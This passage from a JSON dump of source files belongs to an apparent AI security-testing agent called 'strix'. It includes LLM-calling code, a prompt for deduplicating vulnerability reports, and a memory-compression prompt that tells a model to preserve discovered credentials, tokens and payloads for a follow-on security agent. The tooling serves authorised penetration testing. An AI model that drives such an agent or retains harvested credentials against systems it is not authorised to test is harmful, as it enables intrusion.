= len(layers_info)\n\n        if total > 0:\n            update_msg = f\"[bold cyan]Progress: {completed}/{total} layers complete\"\n            if update_msg != last_update:\n                status.update(update_msg)\n                return update_msg\n\n    elif \"status\" in line and \"id\" not in line:\n        global_status = line[\"status\"]\n        if \"Pulling from\" in global_status:\n            status.update(\"[bold cyan]Fetching image manifest...\")\n        elif \"Digest:\" in global_status:\n            status.update(\"[bold cyan]Verifying image...\")\n        elif \"Status:\" in global_status:\n            status.update(\"[bold cyan]Finalizing...\")\n\n    return last_update\n\n\n# LLM utilities\ndef validate_llm_response(response: Any) -> None:\n    if not response or not response.choices or not response.choices[0].message.content:\n        raise RuntimeError(\"Invalid response from LLM\")\n\n\ndef validate_config_file(config_path: str) -> Path:\n    console = Console()\n    path = Path(config_path)\n\n    if not path.exists():\n        console.print(f\"[bold red]Error:[/] Config file not found: {config_path}\")\n        sys.exit(1)\n\n    if path.suffix != \".json\":\n        console.print(\"[bold red]Error:[/] Config file must be a .json file\")\n        sys.exit(1)\n\n    try:\n        with path.open(\"r\", encoding=\"utf-8\") as f:\n            data = json.load(f)\n    except json.JSONDecodeError as e:\n        console.print(f\"[bold red]Error:[/] Invalid JSON in config file: {e}\")\n        sys.exit(1)\n\n    if not isinstance(data, dict):\n        console.print(\"[bold red]Error:[/] Config file must contain a JSON object\")\n        sys.exit(1)\n\n    if \"env\" not in data or not isinstance(data.get(\"env\"), dict):\n        console.print(\"[bold red]Error:[/] Config file must have an 'env' object\")\n        sys.exit(1)\n\n    return path\n"
  },
  {
    "path": "strix/llm/__init__.py",
    "content": "import logging\nimport warnings\n\nimport litellm\n\nfrom .config import LLMConfig\nfrom .llm import LLM, LLMRequestFailedError\n\n\n__all__ = [\n    \"LLM\",\n    \"LLMConfig\",\n    \"LLMRequestFailedError\",\n]\n\nlitellm._logging._disable_debugging()\nlogging.getLogger(\"asyncio\").setLevel(logging.CRITICAL)\nlogging.getLogger(\"asyncio\").propagate = False\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning, module=\"asyncio\")\n"
  },
  {
    "path": "strix/llm/config.py",
    "content": "from strix.config import Config\nfrom strix.config.config import resolve_llm_config\nfrom strix.llm.utils import resolve_strix_model\n\n\nclass LLMConfig:\n    def __init__(\n        self,\n        model_name: str | None = None,\n        enable_prompt_caching: bool = True,\n        skills: list[str] | None = None,\n        timeout: int | None = None,\n        scan_mode: str = \"deep\",\n        interactive: bool = False,\n    ):\n        resolved_model, self.api_key, self.api_base = resolve_llm_config()\n        self.model_name = model_name or resolved_model\n\n        if not self.model_name:\n            raise ValueError(\"STRIX_LLM environment variable must be set and not empty\")\n\n        api_model, canonical = resolve_strix_model(self.model_name)\n        self.litellm_model: str = api_model or self.model_name\n        self.canonical_model: str = canonical or self.model_name\n\n        self.enable_prompt_caching = enable_prompt_caching\n        self.skills = skills or []\n\n        self.timeout = timeout or int(Config.get(\"llm_timeout\") or \"300\")\n\n        self.scan_mode = scan_mode if scan_mode in [\"quick\", \"standard\", \"deep\"] else \"deep\"\n\n        self.interactive = interactive\n"
  },
  {
    "path": "strix/llm/dedupe.py",
    "content": "import json\nimport logging\nimport re\nfrom typing import Any\n\nimport litellm\n\nfrom strix.config.config import resolve_llm_config\nfrom strix.llm.utils import resolve_strix_model\n\n\nlogger = logging.getLogger(__name__)\n\nDEDUPE_SYSTEM_PROMPT = \"\"\"You are an expert vulnerability report deduplication judge.\nYour task is to determine if a candidate vulnerability report describes the SAME vulnerability\nas any existing report.\n\nCRITICAL DEDUPLICATION RULES:\n\n1. SAME VULNERABILITY means:\n   - Same root cause (e.g., \"missing input validation\" not just \"SQL injection\")\n   - Same affected component/endpoint/file (exact match or clear overlap)\n   - Same exploitation method or attack vector\n   - Would be fixed by the same code change/patch\n\n2. NOT DUPLICATES if:\n   - Different endpoints even with same vulnerability type (e.g., SQLi in /login vs /search)\n   - Different parameters in same endpoint (e.g., XSS in 'name' vs 'comment' field)\n   - Different root causes (e.g., stored XSS vs reflected XSS in same field)\n   - Different severity levels due to different impact\n   - One is authenticated, other is unauthenticated\n\n3. ARE DUPLICATES even if:\n   - Titles are worded differently\n   - Descriptions have different level of detail\n   - PoC uses different payloads but exploits same issue\n   - One report is more thorough than another\n   - Minor variations in technical analysis\n\nCOMPARISON GUIDELINES:\n- Focus on the technical root cause, not surface-level similarities\n- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters\n- Consider the fix: would fixing one also fix the other?\n- When uncertain, lean towards NOT duplicate\n\nFIELDS TO ANALYZE:\n- title, description: General vulnerability info\n- target, endpoint, method: Exact location of vulnerability\n- technical_analysis: Root cause details\n- poc_description: How it's exploited\n- impact: What damage it can cause\n\nYOU MUST RESPOND WITH EXACTLY THIS XML FORMAT AND NOTHING ELSE:\n\n<dedupe_result>\n<is_duplicate>true</is_duplicate>\n<duplicate_id>vuln-0001</duplicate_id>\n<confidence>0.95</confidence>\n<reason>Both reports describe SQL injection in /api/login via the username parameter</reason>\n</dedupe_result>\n\nOR if not a duplicate:\n\n<dedupe_result>\n<is_duplicate>false</is_duplicate>\n<duplicate_id></duplicate_id>\n<confidence>0.90</confidence>\n<reason>Different endpoints: candidate is /api/search, existing is /api/login</reason>\n</dedupe_result>\n\nRULES:\n- is_duplicate MUST be exactly \"true\" or \"false\" (lowercase)\n- duplicate_id MUST be the exact ID from existing reports or empty if not duplicate\n- confidence MUST be a decimal (your confidence level in the decision)\n- reason MUST be a specific explanation mentioning endpoint/parameter/root cause\n- DO NOT include any text outside the <dedupe_result> tags\"\"\"\n\n\ndef _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:\n    relevant_fields = [\n        \"id\",\n        \"title\",\n        \"description\",\n        \"impact\",\n        \"target\",\n        \"technical_analysis\",\n        \"poc_description\",\n        \"endpoint\",\n        \"method\",\n    ]\n\n    cleaned = {}\n    for field in relevant_fields:\n        if report.get(field):\n            value = report[field]\n            if isinstance(value, str) and len(value) > 8000:\n                value = value[:8000] + \"...[truncated]\"\n            cleaned[field] = value\n\n    return cleaned\n\n\ndef _extract_xml_field(content: str, field: str) -> str:\n    pattern = rf\"<{field}>(.*?)</{field}>\"\n    match = re.search(pattern, content, re.DOTALL | re.IGNORECASE)\n    if match:\n        return match.group(1).strip()\n    return \"\"\n\n\ndef _parse_dedupe_response(content: str) -> dict[str, Any]:\n    result_match = re.search(\n        r\"<dedupe_result>(.*?)</dedupe_result>\", content, re.DOTALL | re.IGNORECASE\n    )\n\n    if not result_match:\n        logger.warning(f\"No <dedupe_result> block found in response: {content[:500]}\")\n        raise ValueError(\"No <dedupe_result> block found in response\")\n\n    result_content = result_match.group(1)\n\n    is_duplicate_str = _extract_xml_field(result_content, \"is_duplicate\")\n    duplicate_id = _extract_xml_field(result_content, \"duplicate_id\")\n    confidence_str = _extract_xml_field(result_content, \"confidence\")\n    reason = _extract_xml_field(result_content, \"reason\")\n\n    is_duplicate = is_duplicate_str.lower() == \"true\"\n\n    try:\n        confidence = float(confidence_str) if confidence_str else 0.0\n    except ValueError:\n        confidence = 0.0\n\n    return {\n        \"is_duplicate\": is_duplicate,\n        \"duplicate_id\": duplicate_id[:64] if duplicate_id else \"\",\n        \"confidence\": confidence,\n        \"reason\": reason[:500] if reason else \"\",\n    }\n\n\ndef check_duplicate(\n    candidate: dict[str, Any], existing_reports: list[dict[str, Any]]\n) -> dict[str, Any]:\n    if not existing_reports:\n        return {\n            \"is_duplicate\": False,\n            \"duplicate_id\": \"\",\n            \"confidence\": 1.0,\n            \"reason\": \"No existing reports to compare against\",\n        }\n\n    try:\n        candidate_cleaned = _prepare_report_for_comparison(candidate)\n        existing_cleaned = [_prepare_report_for_comparison(r) for r in existing_reports]\n\n        comparison_data = {\"candidate\": candidate_cleaned, \"existing_reports\": existing_cleaned}\n\n        model_name, api_key, api_base = resolve_llm_config()\n        litellm_model, _ = resolve_strix_model(model_name)\n        litellm_model = litellm_model or model_name\n\n        messages = [\n            {\"role\": \"system\", \"content\": DEDUPE_SYSTEM_PROMPT},\n            {\n                \"role\": \"user\",\n                \"content\": (\n                    f\"Compare this candidate vulnerability against existing reports:\\n\\n\"\n                    f\"{json.dumps(comparison_data, indent=2)}\\n\\n\"\n                    f\"Respond with ONLY the <dedupe_result> XML block.\"\n                ),\n            },\n        ]\n\n        completion_kwargs: dict[str, Any] = {\n            \"model\": litellm_model,\n            \"messages\": messages,\n            \"timeout\": 120,\n        }\n        if api_key:\n            completion_kwargs[\"api_key\"] = api_key\n        if api_base:\n            completion_kwargs[\"api_base\"] = api_base\n\n        response = litellm.completion(**completion_kwargs)\n\n        content = response.choices[0].message.content\n        if not content:\n            return {\n                \"is_duplicate\": False,\n                \"duplicate_id\": \"\",\n                \"confidence\": 0.0,\n                \"reason\": \"Empty response from LLM\",\n            }\n\n        result = _parse_dedupe_response(content)\n\n        logger.info(\n            f\"Deduplication check: is_duplicate={result['is_duplicate']}, \"\n            f\"confidence={result['confidence']}, reason={result['reason'][:100]}\"\n        )\n\n    except Exception as e:\n        logger.exception(\"Error during vulnerability deduplication check\")\n        return {\n            \"is_duplicate\": False,\n            \"duplicate_id\": \"\",\n            \"confidence\": 0.0,\n            \"reason\": f\"Deduplication check failed: {e}\",\n            \"error\": str(e),\n        }\n    else:\n        return result\n"
  },
  {
    "path": "strix/llm/llm.py",
    "content": "import asyncio\nfrom collections.abc import AsyncIterator\nfrom dataclasses import dataclass\nfrom typing import Any\n\nimport litellm\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\nfrom litellm import acompletion, completion_cost, stream_chunk_builder, supports_reasoning\nfrom litellm.utils import supports_prompt_caching, supports_vision\n\nfrom strix.config import Config\nfrom strix.llm.config import LLMConfig\nfrom strix.llm.memory_compressor import MemoryCompressor\nfrom strix.llm.utils import (\n    _truncate_to_first_function,\n    fix_incomplete_tool_call,\n    normalize_tool_format,\n    parse_tool_invocations,\n)\nfrom strix.skills import load_skills\nfrom strix.tools import get_tools_prompt\nfrom strix.utils.resource_paths import get_strix_resource_path\n\n\nlitellm.drop_params = True\nlitellm.modify_params = True\n\n\nclass LLMRequestFailedError(Exception):\n    def __init__(self, message: str, details: str | None = None):\n        super().__init__(message)\n        self.message = message\n        self.details = details\n\n\n@dataclass\nclass LLMResponse:\n    content: str\n    tool_invocations: list[dict[str, Any]] | None = None\n    thinking_blocks: list[dict[str, Any]] | None = None\n\n\n@dataclass\nclass RequestStats:\n    input_tokens: int = 0\n    output_tokens: int = 0\n    cached_tokens: int = 0\n    cost: float = 0.0\n    requests: int = 0\n\n    def to_dict(self) -> dict[str, int | float]:\n        return {\n            \"input_tokens\": self.input_tokens,\n            \"output_tokens\": self.output_tokens,\n            \"cached_tokens\": self.cached_tokens,\n            \"cost\": round(self.cost, 4),\n            \"requests\": self.requests,\n        }\n\n\nclass LLM:\n    def __init__(self, config: LLMConfig, agent_name: str | None = None):\n        self.config = config\n        self.agent_name = agent_name\n        self.agent_id: str | None = None\n        self._active_skills: list[str] = list(config.skills or [])\n        self._total_stats = RequestStats()\n        self.memory_compressor = MemoryCompressor(model_name=config.litellm_model)\n        self.system_prompt = self._load_system_prompt(agent_name)\n\n        reasoning = Config.get(\"strix_reasoning_effort\")\n        if reasoning:\n            self._reasoning_effort = reasoning\n        elif config.scan_mode == \"quick\":\n            self._reasoning_effort = \"medium\"\n        else:\n            self._reasoning_effort = \"high\"\n\n    def _load_system_prompt(self, agent_name: str | None) -> str:\n        if not agent_name:\n            return \"\"\n\n        try:\n            prompt_dir = get_strix_resource_path(\"agents\", agent_name)\n            skills_dir = get_strix_resource_path(\"skills\")\n            env = Environment(\n                loader=FileSystemLoader([prompt_dir, skills_dir]),\n                autoescape=select_autoescape(enabled_extensions=(), default_for_string=False),\n            )\n\n            skills_to_load = self._get_skills_to_load()\n            skill_content = load_skills(skills_to_load)\n            env.globals[\"get_skill\"] = lambda name: skill_content.get(name, \"\")\n\n            result = env.get_template(\"system_prompt.jinja\").render(\n                get_tools_prompt=get_tools_prompt,\n                loaded_skill_names=list(skill_content.keys()),\n                interactive=self.config.interactive,\n                **skill_content,\n            )\n            return str(result)\n        except Exception:  # noqa: BLE001\n            return \"\"\n\n    def _get_skills_to_load(self) -> list[str]:\n        ordered_skills = [*self._active_skills]\n        ordered_skills.append(f\"scan_modes/{self.config.scan_mode}\")\n\n        deduped: list[str] = []\n        seen: set[str] = set()\n        for skill_name in ordered_skills:\n            if skill_name not in seen:\n                deduped.append(skill_name)\n                seen.add(skill_name)\n\n        return deduped\n\n    def add_skills(self, skill_names: list[str]) -> list[str]:\n        added: list[str] = []\n        for skill_name in skill_names:\n            if not skill_name or skill_name in self._active_skills:\n                continue\n            self._active_skills.append(skill_name)\n            added.append(skill_name)\n\n        if not added:\n            return []\n\n        updated_prompt = self._load_system_prompt(self.agent_name)\n        if updated_prompt:\n            self.system_prompt = updated_prompt\n\n        return added\n\n    def set_agent_identity(self, agent_name: str | None, agent_id: str | None) -> None:\n        if agent_name:\n            self.agent_name = agent_name\n        if agent_id:\n            self.agent_id = agent_id\n\n    async def generate(\n        self, conversation_history: list[dict[str, Any]]\n    ) -> AsyncIterator[LLMResponse]:\n        messages = self._prepare_messages(conversation_history)\n        max_retries = int(Config.get(\"strix_llm_max_retries\") or \"5\")\n\n        for attempt in range(max_retries + 1):\n            try:\n                async for response in self._stream(messages):\n                    yield response\n                return  # noqa: TRY300\n            except Exception as e:  # noqa: BLE001\n                if attempt >= max_retries or not self._should_retry(e):\n                    self._raise_error(e)\n                wait = min(10, 2 * (2**attempt))\n                await asyncio.sleep(wait)\n\n    async def _stream(self, messages: list[dict[str, Any]]) -> AsyncIterator[LLMResponse]:\n        accumulated = \"\"\n        chunks: list[Any] = []\n        done_streaming = 0\n\n        self._total_stats.requests += 1\n        response = await acompletion(**self._build_completion_args(messages), stream=True)\n\n        async for chunk in response:\n            chunks.append(chunk)\n            if done_streaming:\n                done_streaming += 1\n                if getattr(chunk, \"usage\", None) or done_streaming > 5:\n                    break\n                continue\n            delta = self._get_chunk_content(chunk)\n            if delta:\n                accumulated += delta\n                if \"</function>\" in accumulated or \"</invoke>\" in accumulated:\n                    end_tag = \"</function>\" if \"</function>\" in accumulated else \"</invoke>\"\n                    pos = accumulated.find(end_tag)\n                    accumulated = accumulated[: pos + len(end_tag)]\n                    yield LLMResponse(content=accumulated)\n                    done_streaming = 1\n                    continue\n                yield LLMResponse(content=accumulated)\n\n        if chunks:\n            self._update_usage_stats(stream_chunk_builder(chunks))\n\n        accumulated = normalize_tool_format(accumulated)\n        accumulated = fix_incomplete_tool_call(_truncate_to_first_function(accumulated))\n        yield LLMResponse(\n            content=accumulated,\n            tool_invocations=parse_tool_invocations(accumulated),\n            thinking_blocks=self._extract_thinking(chunks),\n        )\n\n    def _prepare_messages(self, conversation_history: list[dict[str, Any]]) -> list[dict[str, Any]]:\n        messages = [{\"role\": \"system\", \"content\": self.system_prompt}]\n\n        if self.agent_name:\n            messages.append(\n                {\n                    \"role\": \"user\",\n                    \"content\": (\n                        f\"\\n\\n<agent_identity>\\n\"\n                        f\"<meta>Internal metadata: do not echo or reference.</meta>\\n\"\n                        f\"<agent_name>{self.agent_name}</agent_name>\\n\"\n                        f\"<agent_id>{self.agent_id}</agent_id>\\n\"\n                        f\"</agent_identity>\\n\\n\"\n                    ),\n                }\n            )\n\n        compressed = list(self.memory_compressor.compress_history(conversation_history))\n        conversation_history.clear()\n        conversation_history.extend(compressed)\n        messages.extend(compressed)\n\n        if messages[-1].get(\"role\") == \"assistant\" and not self.config.interactive:\n            messages.append({\"role\": \"user\", \"content\": \"<meta>Continue the task.</meta>\"})\n\n        if self._is_anthropic() and self.config.enable_prompt_caching:\n            messages = self._add_cache_control(messages)\n\n        return messages\n\n    def _build_completion_args(self, messages: list[dict[str, Any]]) -> dict[str, Any]:\n        if not self._supports_vision():\n            messages = self._strip_images(messages)\n\n        args: dict[str, Any] = {\n            \"model\": self.config.litellm_model,\n            \"messages\": messages,\n            \"timeout\": self.config.timeout,\n            \"stream_options\": {\"include_usage\": True},\n        }\n\n        if self.config.api_key:\n            args[\"api_key\"] = self.config.api_key\n        if self.config.api_base:\n            args[\"api_base\"] = self.config.api_base\n        if self._supports_reasoning():\n            args[\"reasoning_effort\"] = self._reasoning_effort\n\n        return args\n\n    def _get_chunk_content(self, chunk: Any) -> str:\n        if chunk.choices and hasattr(chunk.choices[0], \"delta\"):\n            return getattr(chunk.choices[0].delta, \"content\", \"\") or \"\"\n        return \"\"\n\n    def _extract_thinking(self, chunks: list[Any]) -> list[dict[str, Any]] | None:\n        if not chunks or not self._supports_reasoning():\n            return None\n        try:\n            resp = stream_chunk_builder(chunks)\n            if resp.choices and hasattr(resp.choices[0].message, \"thinking_blocks\"):\n                blocks: list[dict[str, Any]] = resp.choices[0].message.thinking_blocks\n                return blocks\n        except Exception:  # noqa: BLE001, S110  # nosec B110\n            pass\n        return None\n\n    def _update_usage_stats(self, response: Any) -> None:\n        try:\n            if hasattr(response, \"usage\") and response.usage:\n                input_tokens = getattr(response.usage, \"prompt_tokens\", 0) or 0\n                output_tokens = getattr(response.usage, \"completion_tokens\", 0) or 0\n\n                cached_tokens = 0\n                if hasattr(response.usage, \"prompt_tokens_details\"):\n                    prompt_details = response.usage.prompt_tokens_details\n                    if hasattr(prompt_details, \"cached_tokens\"):\n                        cached_tokens = prompt_details.cached_tokens or 0\n\n                cost = self._extract_cost(response)\n            else:\n                input_tokens = 0\n                output_tokens = 0\n                cached_tokens = 0\n                cost = 0.0\n\n            self._total_stats.input_tokens += input_tokens\n            self._total_stats.output_tokens += output_tokens\n            self._total_stats.cached_tokens += cached_tokens\n            self._total_stats.cost += cost\n\n        except Exception:  # noqa: BLE001, S110  # nosec B110\n            pass\n\n    def _extract_cost(self, response: Any) -> float:\n        if hasattr(response, \"usage\") and response.usage:\n            direct_cost = getattr(response.usage, \"cost\", None)\n            if direct_cost is not None:\n                return float(direct_cost)\n        try:\n            if hasattr(response, \"_hidden_params\"):\n                response._hidden_params.pop(\"custom_llm_provider\", None)\n            return completion_cost(response, model=self.config.canonical_model) or 0.0\n        except Exception:  # noqa: BLE001\n            return 0.0\n\n    def _should_retry(self, e: Exception) -> bool:\n        code = getattr(e, \"status_code\", None) or getattr(\n            getattr(e, \"response\", None), \"status_code\", None\n        )\n        return code is None or litellm._should_retry(code)\n\n    def _raise_error(self, e: Exception) -> None:\n        from strix.telemetry import posthog\n\n        posthog.error(\"llm_error\", type(e).__name__)\n        raise LLMRequestFailedError(f\"LLM request failed: {type(e).__name__}\", str(e)) from e\n\n    def _is_anthropic(self) -> bool:\n        if not self.config.model_name:\n            return False\n        return any(p in self.config.model_name.lower() for p in [\"anthropic/\", \"claude\"])\n\n    def _supports_vision(self) -> bool:\n        try:\n            return bool(supports_vision(model=self.config.canonical_model))\n        except Exception:  # noqa: BLE001\n            return False\n\n    def _supports_reasoning(self) -> bool:\n        try:\n            return bool(supports_reasoning(model=self.config.canonical_model))\n        except Exception:  # noqa: BLE001\n            return False\n\n    def _strip_images(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:\n        result = []\n        for msg in messages:\n            content = msg.get(\"content\")\n            if isinstance(content, list):\n                text_parts = []\n                for item in content:\n                    if isinstance(item, dict) and item.get(\"type\") == \"text\":\n                        text_parts.append(item.get(\"text\", \"\"))\n                    elif isinstance(item, dict) and item.get(\"type\") == \"image_url\":\n                        text_parts.append(\"[Image removed - model doesn't support vision]\")\n                result.append({**msg, \"content\": \"\\n\".join(text_parts)})\n            else:\n                result.append(msg)\n        return result\n\n    def _add_cache_control(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:\n        if not messages or not supports_prompt_caching(self.config.canonical_model):\n            return messages\n\n        result = list(messages)\n\n        if result[0].get(\"role\") == \"system\":\n            content = result[0][\"content\"]\n            result[0] = {\n                **result[0],\n                \"content\": [\n                    {\"type\": \"text\", \"text\": content, \"cache_control\": {\"type\": \"ephemeral\"}}\n                ]\n                if isinstance(content, str)\n                else content,\n            }\n        return result\n"
  },
  {
    "path": "strix/llm/memory_compressor.py",
    "content": "import logging\nfrom typing import Any\n\nimport litellm\n\nfrom strix.config.config import Config, resolve_llm_config\n\n\nlogger = logging.getLogger(__name__)\n\n\nMAX_TOTAL_TOKENS = 100_000\nMIN_RECENT_MESSAGES = 15\n\nSUMMARY_PROMPT_TEMPLATE = \"\"\"You are an agent performing context\ncondensation for a security agent. Your job is to compress scan data while preserving\nALL operationally critical information for continuing the security assessment.\n\nCRITICAL ELEMENTS TO PRESERVE:\n- Discovered vulnerabilities and potential attack vectors\n- Scan results and tool outputs (compressed but maintaining key findings)\n- Access credentials, tokens, or authentication details found\n- System architecture insights and potential weak points\n- Progress made in the assessment\n- Failed attempts and dead ends (to avoid duplication)\n- Any decisions made about the testing approach\n\nCOMPRESSION GUIDELINES:\n- Preserve exact technical details (URLs, paths, parameters, payloads)\n- Summarize verbose tool outputs while keeping critical findings\n- Maintain version numbers, specific technologies identified\n- Keep exact error messages that might indicate vulnerabilities\n- Compress repetitive or similar findings into consolidated form\n\nRemember: Another security agent will use this summary to continue the assessment.\nThey must be able to pick up exactly where you left off without losing any\noperational advantage or context needed to find vulnerabilities.\n\nCONVERSATION SEGMENT TO SUMMARIZE:\n{conversation}\n\nProvide a technically precise summary that preserves all operational security context while\nkeeping the summary concise and to the point.\"\"\"\n\n\ndef _count_tokens(text: str, model: str) -> int:\n    try:\n        count = litellm.token_counter(model=model, text=text)\n        return int(count)\n    except Exception:\n        logger.exception(\"Failed to count tokens\")\n        return len(text) // 4  # Rough estimate\n\n\ndef _get_message_tokens(msg: dict[str, Any], model: str) -> int:\n    content = msg.get(\"content\", \"\")\n    if isinstance(content, str):\n        return _count_tokens(content, model)\n    if isinstance(content, list):\n        return sum(\n            _count_tokens(item.get(\"text\", \"\"), model)\n            for item in content\n            if isinstance(item, dict) and item.get(\"type\") == \"text\"\n        )\n    return 0\n\n\ndef _extract_message_text(msg: dict[str, Any]) -> str:\n    content = msg.get(\"content\", \"\")\n    if isinstance(content, str):\n        return content\n\n    if isinstance(content, list):\n        parts = []\n        for item in content:\n            if isinstance(item, dict):\n                if item.get(\"type\") == \"text\":\n                    parts.append(item.get(\"text\", \"\"))\n                elif item.get(\"type\") == \"image_url\":\n                    parts.append(\"[IMAGE]\")\n        return \" \".join(parts)\n\n    return str(content)\n\n\ndef _summarize_messages(\n    messages: list[dict[str, Any]],\n    model: str,\n    timeout: int = 30,\n) -> dict[str, Any]:\n    if not messages:\n        empty_summary = \"<context_summary message_count='0'>{text}</context_summary>\"\n        return {\n            \"role\": \"user\",\n            \"content\": empty_summary.format(text=\"No messages to summarize\"),\n        }\n\n    formatted = []\n    for msg in messages:\n        role = msg.get(\"role\", \"unknown\")\n        text = _extract_message_text(msg)\n        formatted.append(f\"{role}: {text}\")\n\n    conversation = \"\\n\".join(formatted)\n    prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation)\n\n    _, api_key, api_base = resolve_llm_config()\n\n    try:\n        completion_args: dict[str, Any] = {\n            \"model\": model,\n            \"messages\": [{\"role\": \"user\", \"content\": prompt}],\n            \"timeout\": timeout,\n        }\n        if api_key:\n            completion_args[\"api_key\"] = api_key\n        if api_base:\n            completion_args[\"api_base\"] = api_base\n\n        response = litellm.completion(**completion_args)\n        summary = response.choices[0].message.content or \"\"\n        if not summary.strip():\n            return messages[0]\n        summary_msg = \"<context_summary message_count='{count}'>{text}</context_summary>\"\n        return {\n            \"role\": \"user\",\n            \"content\": summary_msg.format(count=len(messages), text=summary),\n        }\n    except Exception:\n        logger.exception(\"Failed to summarize messages\")\n        return messages[0]\n\n\ndef _handle_images(messages: list[dict[str, Any]], max_images: int) -> None:\n    image_count = 0\n    for msg in reversed(messages):\n        content = msg.get(\"content\", [])\n        if isinstance(content, list):\n            for item in content:\n                if isinstance(item, dict) and item.get(\"type\") == \"image_url\":\n                    if image_count >= max_images:\n                        item.update(\n                            {\n                                \"type\": \"text\",\n                                \"text\": \"[Previously attached image removed to preserve context]\",\n                            }\n                        )\n                    else:\n                        image_count += 1\n\n\nclass MemoryCompressor:\n    def __init__(\n        self,\n        max_images: int = 3,\n        model_name: str | None = None,\n        timeout: int | None = None,\n    ):\n        self.max_images = max_images\n        self.model_name = model_name or Config.get(\"strix_llm\")\n        self.timeout = timeout or int(Config.get(\"strix_memory_compressor_timeout\") or \"120\")\n\n        if not self.model_name:\n            raise ValueError(\"STRIX_LLM environment variable must be set and not empty\")\n\n    def compress_history(\n        self,\n        messages: list[dict[str, Any]],\n    ) -> list[dict[str, Any]]:\n        \"\"\"Compress conversation history to stay within token limits.\n\n        Strategy:\n        1. Handle image limits first\n        2. Keep all system messages\n        3. Keep minimum recent messages\n        4. Summarize older messages when total tokens exceed limit\n\n        The compression preserves:\n        - All system messages unchanged\n        - Most recent messages intact\n        - Critical security context in summaries\n        - Recent images for visual context\n        - Technical details and findings\n        \"\"\"\n        if not messages:\n            return messages\n\n        _handle_images(messages, self.max_images)\n\n        system_msgs = []\n        regular_msgs = []\n        for msg in messages:\n            if msg.get(\"role\") == \"system\":\n                system_msgs.append(msg)\n            else:\n                regular_msgs.append(msg)\n\n        recent_msgs = regular_msgs[-MIN_RECENT_MESSAGES:]\n        old_msgs = regular_msgs[:-MIN_RECENT_MESSAGES]\n\n        # Type assertion since we ensure model_name is not None in __init__\n        model_name: str = self.model_name  # type: ignore[assignment]\n\n        total_tokens = sum(\n            _get_message_tokens(msg, model_name) for msg in system_msgs + regular_msgs\n        )\n\n        if total_tokens <= MAX_TOTAL_TOKENS * 0.9:\n            return messages\n\n        compressed = []\n        chunk_size = 10\n        for i in range(0, len(old_msgs), chunk_size):\n            chunk = old_msgs[i : i + chunk_size]\n            summary = _summarize_messages(chunk, model_name, self.timeout)\n            if summary:\n                compressed.append(summary)\n\n        return system_msgs + compressed + recent_msgs\n"
  },
  {
    "path": "strix/llm/utils.py",
    "content": "import html\nimport re\nfrom typing import Any\n\n\n_INVOKE_OPEN = re.compile(r'<invoke\\s+name=[\"\\']([^\"\\']+)[\"\\']>')\n_PARAM_NAME_ATTR = re.compile(r'<parameter\\s+name=[\"\\']([^\"\\']+)[\"\\']>')\n_FUNCTION_CALLS_TAG = re.compile(r\"</?function_calls>\")\n_STRIP_TAG_QUOTES = re.compile(r\"<(function|parameter)\\s*=\\s*([^>]*?)>\")\n\n\ndef normalize_tool_format(content: str) -> str:\n    \"\"\"Convert alternative tool-call XML formats to the expected one.\n\n    Handles:\n      <function_calls>...</function_calls>  → stripped\n      <invoke name=\"X\">                     → <function=X>\n      <parameter name=\"X\">                  → <parameter=X>\n      </invoke>                             → </function>\n      <function=\"X\">                        → <function=X>\n      <parameter=\"X\">                       → <parameter=X>\n    \"\"\"\n    if \"<invoke\" in content or \"<function_calls\" in content:\n        content = _FUNCTION_CALLS_TAG.sub(\"\", content)\n        content = _INVOKE_OPEN.sub(r\"<function=\\1>\", content)\n        content = _PARAM_NAME_ATTR.sub(r\"<parameter=\\1>\", content)\n        content = content.replace(\"</invoke>\", \"</function>\")\n\n    return _STRIP_TAG_QUOTES.sub(\n        lambda m: f\"<{m.group(1)}={m.group(2).strip().strip(chr(34) + chr(39))}>\", content\n    )\n\n\nSTRIX_MODEL_MAP: dict[str, str] = {\n    \"claude-sonnet-4.6\": \"anthropic/claude-sonnet-4-6\",\n    \"claude-opus-4.6\": \"anthropic/claude-opus-4-6\",\n    \"gpt-5.2\": \"openai/gpt-5.2\",\n    \"gpt-5.1\": \"openai/gpt-5.1\",\n    \"gpt-5\": \"openai/gpt-5\",\n    \"gemini-3-pro-preview\": \"gemini/gemini-3-pro-preview\",\n    \"gemini-3-flash-preview\": \"gemini/gemini-3-flash-preview\",\n    \"glm-5\": \"openrouter/z-ai/glm-5\",\n    \"glm-4.7\": \"openrouter/z-ai/glm-4.7\",\n}\n\n\ndef resolve_strix_model(model_name: str | None) -> tuple[str | None, str | None]:\n    \"\"\"Resolve a strix/ model into names for API calls and capability lookups.\n\n    Returns (api_model, canonical_model):\n    - api_model: openai/<base> for API calls (Strix API is OpenAI-compatible)\n    - canonical_model: actual provider model name for litellm capability lookups\n    Non-strix models return the same name for both.\n    \"\"\"\n    if not model_name or not model_name.startswith(\"strix/\"):\n        return model_name, model_name\n\n    base_model = model_name[6:]\n    api_model = f\"openai/{base_model}\"\n    canonical_model = STRIX_MODEL_MAP.get(base_model, api_model)\n    return api_model, canonical_model\n\n\ndef _truncate_to_first_function(content: str) -> str:\n    if not content:\n        return content\n\n    function_starts = [\n        match.start() for match in re.finditer(r\"<function=|<invoke\\s+name=\", content)\n    ]\n\n    if len(function_starts) >= 2:\n        second_function_start = function_starts[1]\n\n        return content[:second_function_start].rstrip()\n\n    return content\n\n\ndef parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:\n    content = normalize_tool_format(content)\n    content = fix_incomplete_tool_call(content)\n\n    tool_invocations: list[dict[str, Any]] = []\n\n    fn_regex_pattern = r\"<function=([^>]+)>\\n?(.*?)</function>\"\n    fn_param_regex_pattern = r\"<parameter=([^>]+)>(.*?)</parameter>\"\n\n    fn_matches = re.finditer(fn_regex_pattern, content, re.DOTALL)\n\n    for fn_match in fn_matches:\n        fn_name = fn_match.group(1)\n        fn_body = fn_match.group(2)\n\n        param_matches = re.finditer(fn_param_regex_pattern, fn_body, re.DOTALL)\n\n        args = {}\n        for param_match in param_matches:\n            param_name = param_match.group(1)\n            param_value = param_match.group(2).strip()\n\n            param_value = html.unescape(param_value)\n            args[param_name] = param_value\n\n        tool_invocations.append({\"toolName\": fn_name, \"args\": args})\n\n    return tool_invocations if tool_invocations else None\n\n\ndef 